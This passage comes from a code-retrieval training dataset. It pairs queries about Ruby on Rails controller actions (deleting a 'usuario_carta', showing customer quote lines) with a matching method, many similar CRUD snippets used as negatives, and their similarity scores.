"def update\n nueva_cantidad = compra_params[:cantidad].to_i\n\n respond_to do |format|\n if @compra.edit_stock(nueva_cantidad) && @compra.update(compra_params)\n format.html { redirect_to @compra, notice: 'Compra was successfully updated.' }\n format.json { render :show, status: :ok, location: @compra }\n else\n format.html { render :edit }\n format.json { render json: @compra.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6467914",
"0.6255238",
"0.6205772",
"0.6157885",
"0.61420465",
"0.6134473",
"0.6128039",
"0.6117205",
"0.6107925",
"0.6104216",
"0.6100391",
"0.60754037",
"0.60673416",
"0.60660183",
"0.60182613",
"0.6012674",
"0.6009118",
"0.600188",
"0.59716606",
"0.5949145",
"0.5934605",
"0.5917505",
"0.5897566",
"0.5892747",
"0.58922267",
"0.5889773",
"0.58785313",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873827",
"0.5873305",
"0.5872584",
"0.5870558",
"0.58642995",
"0.5863074",
"0.5855777",
"0.58454376",
"0.58417654",
"0.5838033",
"0.58298826",
"0.58257127",
"0.5822403",
"0.5813831",
"0.5807347",
"0.5796096",
"0.5775418",
"0.5775418",
"0.5775418",
"0.5775158",
"0.5773538",
"0.57713515",
"0.57693243",
"0.57693243",
"0.57693243",
"0.57693243",
"0.57693243",
"0.576575",
"0.57582855",
"0.5746269",
"0.57455933",
"0.5744574",
"0.5741831",
"0.57395536",
"0.5737341",
"0.57372737",
"0.5733553",
"0.57292044",
"0.5728717",
"0.57217187",
"0.5716907",
"0.57148325",
"0.57147264",
"0.5711202",
"0.5710741",
"0.5707709",
"0.5697233",
"0.5693386",
"0.56923246",
"0.5690122",
"0.56895757",
"0.56845766",
"0.5682567",
"0.5678174",
"0.56779546",
"0.56758124",
"0.5675791",
"0.56726366",
"0.5671627"
] | 0.7085275 | 0 |
DELETE /usuario_carta/1 DELETE /usuario_carta/1.json | def destroy
@usuario_cartum = UsuarioCartum.find(params[:id])
@usuario_cartum.destroy
respond_to do |format|
format.html { redirect_to usuario_carta_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @cartum = Cartum.find(params[:id])\n @cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to carta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n @caracteristica_cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to caracteristica_carta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_usuario.destroy\n respond_to do |format|\n format.html { redirect_to datos_usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @catalogo_usuario.destroy\n respond_to do |format|\n format.html { redirect_to catalogo_usuarios_url, notice: 'Catalogo usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cartella_clinica.destroy\n respond_to do |format|\n format.html { redirect_to cartella_clinicas_url, notice: 'La Cartella clinica è stata eliminata correttamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @centro_usuario.destroy\n respond_to do |format|\n format.html { redirect_to centro_usuarios_url, notice: 'Centro usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pro_far = ProFar.where([\"producto_id = ? and farmacium_id = ?\", params[:id], session[:farmacia_id]]).first\n @pro_far.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end",
"def destroy\n @cartucho = Cartucho.find(params[:id])\n @cartucho.destroy\n\n respond_to do |format|\n format.html { redirect_to cartuchos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @line_item = LineItem.find(params[:id])\n # @line_item.destroy\n @cart = current_cart\n# item = Item.find(params[:item_id])\n quantity = params[:quantity] || 1\n item_id=params[:item_id]\n @line_item = @cart.delete_item(item_id,quantity.to_i)\n\n respond_to do |format|\n format.html { redirect_to :back, notice: \"L'oggetto è stato rimosso dal carrello!\" }\n format.json { head :ok }\n end\n end",
"def destroy\r\n @usuario_gusto.destroy\r\n respond_to do |format|\r\n format.html { redirect_to usuario_gustos_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @usuario_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to usuario_proyectos_url, notice: 'Usuario proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto_seccion.destroy\n respond_to do |format|\n format.html { redirect_to producto_seccions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cadastro_usuario.destroy\n respond_to do |format|\n format.html { redirect_to cadastro_usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sistema = Sistema.find(params[:id])\n @sistema.destroy\n\n respond_to do |format|\n format.html { redirect_to sistemas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n id = params[:id]\n id_paziente = params[:paziente_id]\n @paziente = Paziente.find(id_paziente)\n @cartellaclinica = CartellaClinica.find(id)\n @cartellaclinica.destroy\n respond_to do |format|\n format.html { redirect_to cartella_clinicas_url, notice: 'La Cartella clinica è stata cancellata con successo.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mixproducto = Mixproducto.find(params[:id])\n @mixproducto.destroy\n\n respond_to do |format|\n format.html { redirect_to mixproductos_url }\n format.json { head :no_content }\n end\n end",
"def remove_from_cart\n render json: CartProduct.find(params[:id]).destroy\n end",
"def destroy\n @inventario_cosa.destroy\n respond_to do |format|\n format.html { redirect_to inventario_cosas_url, notice: 'Inventario cosa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @reclamacao.destroy\r\n respond_to do |format|\r\n format.html { redirect_to usuario_path(Usuario.get_usuario_logado), notice: 'RECLAMAÇÃO APAGADA! ' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @usuario = Usuario.find(params[:id])\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to usuarios_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente.destroy\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @servico_pacote.destroy\n respond_to do |format|\n format.html { redirect_to servico_pacotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario = Usuario.find(params[:id])\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario = Usuario.find(params[:id])\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario = Usuario.find(params[:id])\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producte_dapcons_usuari.destroy\n respond_to do |format|\n format.html { redirect_to producte_dapcons_usuaris_url, notice: 'Producte dapcons usuari was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quimicos_serigrafia_producto.destroy\n respond_to do |format|\n format.html { redirect_to quimicos_serigrafia_productos_url, notice: 'Quimicos serigrafia producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #--ADICIONADO\n @cliente.perfilclientes.destroy\n #--ADICIONADO\n @cliente.destroy\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comanda_produto.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Item excluído com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @juntum_usuario.destroy\n respond_to do |format|\n format.html { redirect_to juntum_usuarios_url, notice: 'Juntum usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clientes_servico.destroy\n respond_to do |format|\n format.html { redirect_to clientes_servicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trocaentreusuario.destroy\n respond_to do |format|\n format.html { redirect_to trocaentreusuarios_url, notice: 'Trocaentreusuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_url, notice: 'Usuário eliminado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sumario.destroy\n respond_to do |format|\n format.html { redirect_to sumarios_url, notice: 'Sumario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @especialidad.destroy\n respond_to do |format|\n format.html { redirect_to especialidads_url, notice: 'Servicio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n @crear = Clientesmkt.create_mikrotik\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @opcao.destroy\n respond_to do |format|\n format.html { redirect_to opcaos_url, notice: 'Opção Apagada com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @servicio = Servicio.find(params[:id])\n @servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to servicios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente.destroy\n respond_to do |format|\n format.html { redirect_to clientes_url, notice: 'Cliente removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ocorrencium.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencia_url, notice: 'Registro excluído com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto_bodega.destroy\n respond_to do |format|\n format.html { redirect_to producto_bodegas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @contatos_cliente.destroy\n respond_to do |format|\n format.html { redirect_to contatos_clientes_url, notice: 'Contatos cliente was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end",
"def destroy\n @admin_produto.destroy\n respond_to do |format|\n format.html { redirect_to admin_produtos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_url, notice: 'Usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_url, notice: 'Usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_url, notice: 'Usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @produto = Produto.find(params[:id])\n @produto.destroy\n\n respond_to do |format|\n format.html { redirect_to produtos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @safra_produto = SafraProduto.find(params[:id])\n @safra_produto.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/safras/#{@safra_produto.safra_id}\"}\n format.json { head :no_content }\n end\n end",
"def destroy\n @prod_cli.destroy\n respond_to do |format|\n format.html { redirect_to prod_clis_url, notice: 'produto excluido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comentario = current_user.comentarios.find(params[:id])\n @comentario.destroy\n\n respond_to do |format|\n format.html { redirect_to comentarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto_ofertado.destroy\n respond_to do |format|\n format.html { redirect_to producto_ofertados_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sugerencia = Sugerencia.find(params[:id])\n @sugerencia.destroy\n\n respond_to do |format|\n format.html { redirect_to sugerencias_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @productos_por_cliente.destroy\n respond_to do |format|\n format.html { redirect_to productos_por_clientes_url, notice: 'Productos por cliente was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rutas_usuario.destroy\n respond_to do |format|\n format.html { redirect_to rutas_usuarios_url, notice: 'Rutas usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cuentum = Cuentum.find(params[:id])\n @cuentum.destroy\n\n respond_to do |format|\n format.html { redirect_to cuenta_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @contato_produto = ContatoProduto.find(params[:id])\n @contato_produto.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_contato_produtos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @tipo_usuario = TipoUsuario.find(params[:id])\n @tipo_usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario_seguidor.destroy\n respond_to do |format|\n format.html { redirect_to usuario_seguidores_url, notice: 'Usuario seguidor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @troca_produto.destroy\n respond_to do |format|\n format.html { redirect_to troca_produtos_url, notice: \"Troca produto was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comentariu_licenta.destroy\n respond_to do |format|\n format.html { redirect_to comentariu_licentas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignarmultiplebeneficio.destroy\n respond_to do |format|\n format.html { redirect_to asignarmultiplebeneficios_url, notice: 'Asignarmultiplebeneficio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignarmultiplebeneficio.destroy\n respond_to do |format|\n format.html { redirect_to asignarmultiplebeneficios_url, notice: 'Asignarmultiplebeneficio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto_detalle.destroy\n respond_to do |format|\n format.html { redirect_to productos_detalles_url, notice: 'Producto detalle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario_partida = UsuarioPartida.find(params[:id])\n @usuario_partida.destroy\n\n respond_to do |format|\n format.html { redirect_to usuario_partidas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fulcliente = Fulcliente.find(params[:id])\n @fulcliente.destroy\n\n respond_to do |format|\n format.html { redirect_to fulclientes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @carga.destroy\n respond_to do |format|\n format.html { redirect_to cargas_url, notice: \"Carga was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario = Usuario.find(params[:id])\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to usuarios_url, notice: 'Usuario eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n set_redireccion\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to @redireccion, notice: 'Cliente was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saida_produto.destroy\n respond_to do |format|\n format.html { redirect_to saida_produtos_url, notice: 'Saida produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente_registro.destroy\n respond_to do |format|\n format.html { redirect_to cliente_registros_url, notice: 'Cliente registro was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n control_usuario\n @usuario.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_url, notice: 'El Usuario se ha eliminado correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end",
"def delete\r\n respond_to do |format|\r\n if @proyecto.destroy\r\n proyectos=Proyecto.where(:user_id=>@user_id)\r\n #response={msge:{type: 'success', msg:\"Proyecto eliminado satisfactoriamente\"},proyectos:proyectos}\r\n format.html { render :json => proyectos, meta: {msge:{type: 'success', msg:\"Proyecto eliminado satisfactoriamente\"}}}\r\n else\r\n response={msge:{type: 'warning', msg:\"Ocurrió un error en el servidor\"}}\r\n format.html { render json: response }\r\n end\r\n end\r\n end",
"def destroy\n authorize! :eliminar, @usuario_prestamo\n @usuario_prestamo.destroy\n respond_to do |format|\n format.html { redirect_to usuario_prestamos_url, notice: 'El usuario de préstamo fue eliminado correctamente' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asiento_de_servicio.destroy\n respond_to do |format|\n format.html { redirect_to asiento_de_servicios_url, notice: 'Asiento de servicio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuario = Usuario.find(params[:id])\n @usuario.destroy\n\n head :no_content\n end",
"def destroy\n @consumo = Consumo.find(params[:id])\n @consumo.destroy\n\n respond_to do |format|\n format.html { redirect_to consumos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tinta_sublimacion_producto.destroy\n respond_to do |format|\n format.html { redirect_to tinta_sublimacion_productos_url, notice: 'Tinta sublimacion producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.7297382",
"0.72116196",
"0.7207271",
"0.71159256",
"0.7094339",
"0.7028738",
"0.70272565",
"0.70239055",
"0.7002976",
"0.6999742",
"0.6982968",
"0.6980401",
"0.69789207",
"0.6978504",
"0.6975756",
"0.6969",
"0.69672245",
"0.69656205",
"0.6963231",
"0.69598836",
"0.6954662",
"0.6951936",
"0.69510585",
"0.694887",
"0.6945428",
"0.6945428",
"0.69434696",
"0.69428194",
"0.69428194",
"0.69428194",
"0.69392365",
"0.69392365",
"0.69392365",
"0.6938543",
"0.69355774",
"0.6935248",
"0.6926184",
"0.6922282",
"0.6915828",
"0.6914482",
"0.69126964",
"0.68991774",
"0.68987757",
"0.68981946",
"0.68978655",
"0.6892347",
"0.68897456",
"0.68880653",
"0.6878991",
"0.6878513",
"0.6875325",
"0.68685114",
"0.6865064",
"0.6860836",
"0.686002",
"0.68577296",
"0.6856784",
"0.6856784",
"0.6856784",
"0.68548536",
"0.6852824",
"0.6851961",
"0.6848576",
"0.6847981",
"0.6845696",
"0.6845427",
"0.68444765",
"0.68439996",
"0.68433905",
"0.6838993",
"0.6837848",
"0.682861",
"0.682818",
"0.682818",
"0.682818",
"0.68273973",
"0.68270373",
"0.6822207",
"0.68212247",
"0.6820888",
"0.6820888",
"0.68207777",
"0.6816182",
"0.6814126",
"0.6813933",
"0.68133855",
"0.681277",
"0.6809875",
"0.6808739",
"0.68075424",
"0.68043286",
"0.6802984",
"0.6802743",
"0.6800263",
"0.6793231",
"0.67902195",
"0.678556",
"0.6784369",
"0.6783056",
"0.6782743"
] | 0.78999937 | 0 |
GET customer_quotes/1/customer_quote_lines/1 GET customer_quotes/1/customer_quote_lines/1.json | def show
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
@customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render :json => @customer_quote_line }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def particular_customer_quotes\n offset = 0\n filter = \"%\"\n if (params[:offset].class.to_s != \"NilClass\" && params[:offset].integer?)\n offset = params[:offset].to_i\n end\n if (params[:filter].class.to_s != \"NilClass\")\n filter = \"%\" + params[:filter] + \"%\"\n end\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # it should be this query which is written down\n lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(idClient: params[:no]).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(\"(note like ? OR status.name LIKE ? OR dispatcher.firstName LIKE ? OR dispatcher.lastName LIKE ? OR reference LIKE ? ) AND idClient = ?\", filter, filter, filter, filter, filter, params[:no]).order('DESC').offset(offset).limit(30)\n\n # lstQuotes.each do |quote|\n # # TODO! Format each quote before send it.\n # end\n return render_json_response(lstQuotes, :ok)\n end",
"def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }\n format.json { head :ok }\n end\n end",
"def new\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.build\n @attachable = @customer_quote\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def show\n @line_item = @order.line_items.find(params[:id])\n\n render json: @line_item\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def index\n @quote_lines = QuoteLine.all\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def create\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n params[:customer_quote_line][:item_name_sub] = params[:alt_name_id]\n @customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params)\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.save\n format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' }\n format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order_line }\n end\n end",
"def update\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.update_attributes(customer_quote_line_params)\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def quotes(**args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/quotes/latest\", options: params.compact).tap do |resp|\n resp.body = [resp.body]\n end\n end",
"def set_quote_line\n @quote_line = QuoteLine.find(params[:id])\n end",
"def destroy\n @quote_line.destroy\n respond_to do |format|\n format.html { redirect_to quote_lines_url }\n format.json { head :no_content }\n end\n end",
"def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cow_order\n @order = Order.new\n @order.lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n render json: @order_line_item\n end",
"def collect_order_line(shop_id, order_id, order_line)\n request(:post, \"shops/#{shop_id}/orders/#{order_id}/order_lines\", body: order_line).tap do |response|\n raise InvalidResponse, response.body unless response.status == 201\n end\n end",
"def line_items(account_id, options = {})\n get(\"/accounts/#{account_id}/line_items\", options)\n end",
"def show\n @order = Order.find(params[:id])\n @line_bundles = @order.line_bundles\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n quote = Quote.find(params[:id])\n render json: quote\n end",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end",
"def show\n @quote = Quote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quote }\n end\n end",
"def show\n @quote = Quote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quote }\n end\n end",
"def show\n @quote = Quote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quote }\n end\n end",
"def show\n quotes = OriginalQuote.all\n @quote = quotes.sample\n render json: @quote, status: 200\n end",
"def quote\n fetch('princess_bride.quotes')\n end",
"def show\n @line = Line.includes({:sublines => :transactions}).find(params[:id])\n @budget = @line.budget\n @subtitle = '%s %d' % [@line.category.capitalize, @line.line_number]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end",
"def show\n @quote_detail = QuoteDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quote_detail }\n end\n end",
"def show\n @quote = Quote.first\n render json: @quote\n end",
"def index\n @quote_items = QuoteItem.where(order_id: current_customer.order_id)\n end",
"def show\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n\n# respond_to do |format|\n# format.html # show.html.erb\n# format.json { render json: @purchase_order_item_line }\n# end\n end",
"def quote(options = {})\n post(\"customers/#{customer_id}/delivery_quotes\", options)\n end",
"def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end",
"def create\n if params['q_param']['quote_id']!=nil\n @quote_id=params['q_param']['quote_id']\n @quote=Quote.find(@quote_id)\n client_id= @quote.client_id\n list=@quote.list\n total=@quote.total\n tax_rate=@quote.tax_rate\n @quote.update({:status=>2})\n title=@quote.title\n comment=@quote.comment\n else \n client_id=params['q_param']['client']\n @quote_id=nil\n list=nil\n total=nil\n tax_rate=nil\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n end\n @client=Client.find_by_id(client_id)\n invoice_p={:title=>title,:comment=>comment,:quote_id=>@quote_id,:total=>total,:list=>list,:tax_rate=>tax_rate,}\n @invoice = @client.invoices.create(invoice_p)\n render json: {:invoice_id=>@invoice.id}\n end",
"def index\n @order_lines = OrderLine.all\n end",
"def show\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit_line }\n end\n end",
"def show\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @payment_line }\n end\n end",
"def get_order_lines\n current_order = @order_lines.get_order_lines_by_order_id(@order_status)\n return current_order\n end",
